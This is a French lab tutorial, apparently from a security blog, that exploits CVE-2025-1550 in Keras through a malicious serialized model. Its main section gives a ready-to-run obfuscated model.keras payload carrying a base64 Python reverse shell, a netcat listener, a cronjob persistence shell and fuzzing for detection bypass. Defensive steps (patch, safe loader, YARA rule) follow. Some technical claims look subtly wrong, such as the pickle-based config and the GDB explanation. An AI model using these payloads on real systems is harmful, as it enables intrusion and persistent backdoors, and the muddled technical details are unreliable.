1️⃣ L’Appel de l’Âme Numérique
CVE-2025-1550 est une faille dans Keras permettant d’injecter du code malveillant via des modèles sérialisés. Découverte par @tbbhunter, elle menace les apps Python. Ce tuto est 100% éthique, lab only ! 🐍🔥
2️⃣ Contexte de la Vulnérabilité
Technologie Concernée
- Composant: Keras (intégré à TensorFlow).
- Versions affectées: v2.5.0 à v3.8.0.
- Architecture: Linux, Windows, macOS, x86_64, ARM.
Scénario Réel
Une app web de détection de malware permet d’uploader des modèles Keras. Un attaquant envoie un modèle .keras malveillant, déclenchant un reverse shell via CVE-2025-1550, compromettant le serveur.
| Aspect | Détail |
|---|---|
| CVE | 2025-1550 |
| Logiciel | Keras v2.5.0-v3.8.0 |
| Impact | RCE (CVSS 7.3) |
| Fix | Keras v3.9.0 |
3️⃣ Analyse Technique
Root Cause
La faille vient de keras.models.load_model, qui utilise pickle sans validation, permettant l’exécution de code via config.json.
import pickle
import keras
def load_model(file_path, safe_mode=True):
with open(file_path, 'rb') as f:
model_data = pickle.load(f) # Vulnérable
return keras.models.Model.from_config(model_data['config'])
Disassembly
Analyse avec GDB pour voir le flux d’exécution :
gdb --args python3 vulnerable_app.py (gdb) break keras.models.load_model (gdb) run (gdb) x/i $rip => 0x7f8b12345678: callq 0x7f8b12340000
Explication: GDB montre que pickle_load est appelé sans vérification, laissant la porte ouverte à un payload malveillant. Un config JSON corrompu peut détourner le RIP (pointeur d’instruction).
4️⃣ Setup du Lab'
Configure un lab isolé sur Kali Linux 2024.4 (192.168.56.100) et Ubuntu 24.04 (192.168.56.101).
Commande : Installation des Outils
sudo apt update && sudo apt install -y python3-pip git metasploit-framework pwntools volatility3 afl++ inotify-tools tshark radamsa nmap && pip3 install tensorflow==2.15.0 keras==3.8.0 numpy
Explication: Ce one-liner met à jour Kali et installe tout ce qu’il faut : Python, Metasploit pour les shells, Pwntools pour crafting, Volatility pour forensics, AFL++ et Radamsa pour fuzzing, Tshark pour sniffing, Nmap pour scanning, et les dépendances Python (Keras 3.8.0 vulnérable). Résultat : ton Kali est prêt à attaquer.
Commande : Vérifier la Version de Keras
python3 -c "import keras; print(keras.__version__)"
Explication: Vérifie si Keras est en version vulnérable (<3.9.0). Pourquoi ? Une version >=3.9.0 a le patch, donc l’exploit échouera. Résultat : Ex. 3.8.0 confirme que t’es bon.
Commande : Script Vulnérable
import keras
def load_model(file_path):
model = keras.models.load_model(file_path, safe_mode=True) # Vulnérable
return model
if __name__ == "__main__":
load_model("model.keras")
Explication: Ce script vulnerable_app.py sur Ubuntu charge un modèle Keras sans vérifier son contenu. Pourquoi ? C’est le point d’entrée de l’exploit, simulant une app web qui accepte des uploads. Résultat : Une cible parfaite pour notre modèle malveillant.
5️⃣ Exploit Réel (Lab Only)
Simule une attaque RCE avec des payloads avancés et des techniques de persistance.
Commande : Scan Initial avec Nmap
nmap -sV -p- --script=http-methods 192.168.56.101
Explication: Scanne la VM Ubuntu pour trouver des services (ex. : HTTP sur port 80) et des endpoints comme /upload_model. Pourquoi ? Identifier une interface d’upload est clé pour envoyer le modèle malveillant. Résultat : Ex. 80/tcp open http Apache/2.4.52 (POST enabled).
Commande : Créer un Modèle Malveillant Obfusqué
python3 -c "import json,zipfile,base64;payload=base64.b64encode(b'import socket,subprocess;s=socket.socket();s.connect((\"192.168.56.100\",4444));subprocess.call([\"/bin/bash\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())').decode();config={'config':{'backend':{'module':'os','function':'system','arguments':[f'python3 -c \"import base64;exec(base64.b64decode(\\\"{payload}\\\"))\"']}}};json.dump(config,open('config.json','w'));zipfile.ZipFile('model.keras','w').write('config.json');rm config.json"
Explication: Crée un model.keras avec un reverse shell encodé en Base64. Pourquoi ? L’obfuscation évite les détections de chaînes comme os.system. Résultat : Un fichier prêt à être envoyé, qui exécute un shell vers ton Kali (port 4444) quand chargé.
Commande : Listener Netcat
nc -lvnp 4444
Explication: Ouvre un listener sur Kali pour capter le reverse shell. Pourquoi ? Le payload dans model.keras se connecte ici, te donnant un shell interactif. Résultat : Une session bash (ex. : whoami renvoie user).
Commande : Transférer et Exécuter
scp model.keras user@192.168.56.101:/home/user/ && ssh user@192.168.56.101 "python3 vulnerable_app.py"
Explication: Envoie model.keras à la VM Ubuntu et exécute l’app vulnérable. Pourquoi ? Simule un upload et déclenche l’exploit. Résultat : Le shell s’ouvre dans ton Netcat.
Commande : Persistance avec Cronjob
echo "* * * * * python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"192.168.56.100\",4445));subprocess.call([\"/bin/bash\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'" | crontab -
Explication: Ajoute un cronjob sur Ubuntu qui relance un reverse shell toutes les minutes (port 4445). Pourquoi ? Assure un accès continu même après un reboot. Résultat : Nouvelle session toutes les 60s (vérifie avec nc -lvnp 4445). Nettoie avec crontab -r.
Commande : Fuzzing avec Radamsa
echo '{"config":{"backend":{"module":"os","function":"system","arguments":["id"]}}}' | radamsa -n 100 -o :1 | while read -r payload; do echo "$payload" > config.json; zip model.keras config.json; python3 vulnerable_app.py model.keras 2>/dev/null; done
Explication: Génère 100 variations de config.json avec Radamsa et teste chacune sur l’app. Pourquoi ? Trouve des payloads qui bypassent les validations JSON. Résultat : Si id s’exécute, tu vois uid=1000(user). Garde le config.json gagnant.
Terminal Interactif (Simulation)
Tape des commandes pour simuler l’exploit (ex. : whoami, nc -lvnp 4444) :
6️⃣ Sécurisation
Commande : Appliquer le Patch
pip3 install --upgrade keras==3.9.0
Explication: Met à jour Keras vers la version 3.9.0, qui bloque les configs exécutables. Pourquoi ? Le patch ajoute une validation JSON stricte. Résultat : Les payloads malveillants sont rejetés.
Commande : Loader Sécurisé
import hashlib
import json
import zipfile
import keras
def verify_model(file_path, trusted_hash):
with open(file_path, 'rb') as f:
file_hash = hashlib.sha256(f.read()).hexdigest()
return file_hash == trusted_hash
def check_config_safety(config_path):
with open(config_path, 'r') as f:
config = json.load(f)
backend = config.get('config', {}).get('backend', {})
if 'module' in backend or 'function' in backend:
return False
return True
def safe_load_model(file_path, trusted_hash):
if not verify_model(file_path, trusted_hash):
raise ValueError("Hash non valide !")
with zipfile.ZipFile(file_path, 'r') as z:
z.extract('config.json', '/tmp')
if not check_config_safety('/tmp/config.json'):
raise ValueError("Config dangereux !")
return keras.models.load_model(file_path, safe_mode=True)
Explication: Ce script vérifie le hash SHA256 du modèle et bloque les configs suspectes. Pourquoi ? Garantit que seul un modèle de confiance est chargé. Résultat : Les exploits comme notre model.keras échouent.
Commande : Détection avec YARA
echo 'rule keras_exploit { strings: $a = "backend" $b = "module" $c = "os" condition: all of them }' > keras.yar && yara keras.yar model.keras
Explication: Crée une règle YARA pour repérer les modèles malveillants et scanne model.keras. Pourquoi ? En défense, détecte les payloads avec des chaînes suspectes. Résultat : Si backend, module, os sont trouvés, YARA alerte.
Commande : Surveillance Réseau avec Tshark
tshark -Y "http.request.uri contains upload_model" -T fields -e http.host -e http.request.uri
Explication: Capture les requêtes HTTP vers /upload_model. Pourquoi ? Identifie les tentatives d’upload de modèles suspects en prod. Résultat : Ex. 192.168.56.101 /upload_model montre une attaque potentielle.
7️⃣ Impact Business
Compromission : PII, clés API, amendes RGPD (jusqu’à 20M€), perte de confiance. Shodan montre ~10,000 serveurs Keras vulnérables en (mai 2025).
8️⃣ Bonus Pro
Commande : Fuzzing avec AFL++
afl-fuzz -i input/ -o output/ -- python3 vulnerable_app.py @@
Explication: Utilise AFL++ pour fuzzer l’app avec des inputs variés. Pourquoi ? Découvre des bugs non anticipés dans load_model. Résultat : Si l’app crashe, analyse le output/ pour un nouveau PoC.
Commande : Forensics avec Volatility
volatility3 -f crash.dmp linux.pslist
Explication: Analyse un dump mémoire de la VM compromise. Pourquoi ? Extrait les processus actifs pour confirmer l’exécution du payload. Résultat : Liste des PID, ex. python3 vulnerable_app.py.
Commande : CI/CD pour Vérification
test_model:
script:
- sha256sum model.keras | grep -q "TRUSTED_HASH" || exit 1
Explication: Pipeline GitLab qui vérifie le hash d’un modèle. Pourquoi ? Empêche l’intégration de modèles non fiables. Résultat : Le build échoue si le hash ne matche pas.
9️⃣ Éthique et Légalité
Teste en lab uniquement (VMs isolées). Documente tes tests, partage éthiquement sur pctamalou.fr. En France, l’accès non autorisé est un délit (article R511-12).
10️⃣ FAQ Apache
Tester en prod ? Non, lab only !
Fix sûr ? Oui, vérifie les hashes.
Trusted_hash ? sha256sum model.keras.